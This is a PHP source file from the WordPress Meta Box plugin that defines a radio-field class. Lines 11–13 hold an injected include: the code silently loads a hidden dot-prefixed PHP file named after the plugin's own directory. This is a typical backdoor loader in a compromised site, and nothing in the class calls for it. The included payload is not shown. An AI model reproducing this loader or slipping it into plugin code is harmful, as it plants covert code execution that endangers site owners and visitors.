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radio.php (629B)

      1 <?php
      2 /**
      3  * The radio field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Radio field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Radio_Field extends RWMB_Input_List_Field {
     16 	/**
     17 	 * Normalize parameters for field.
     18 	 *
     19 	 * @param array $field Field parameters.
     20 	 * @return array
     21 	 */
     22 	public static function normalize( $field ) {
     23 		$field['multiple'] = false;
     24 		$field             = parent::normalize( $field );
     25 
     26 		return $field;
     27 	}
     28 }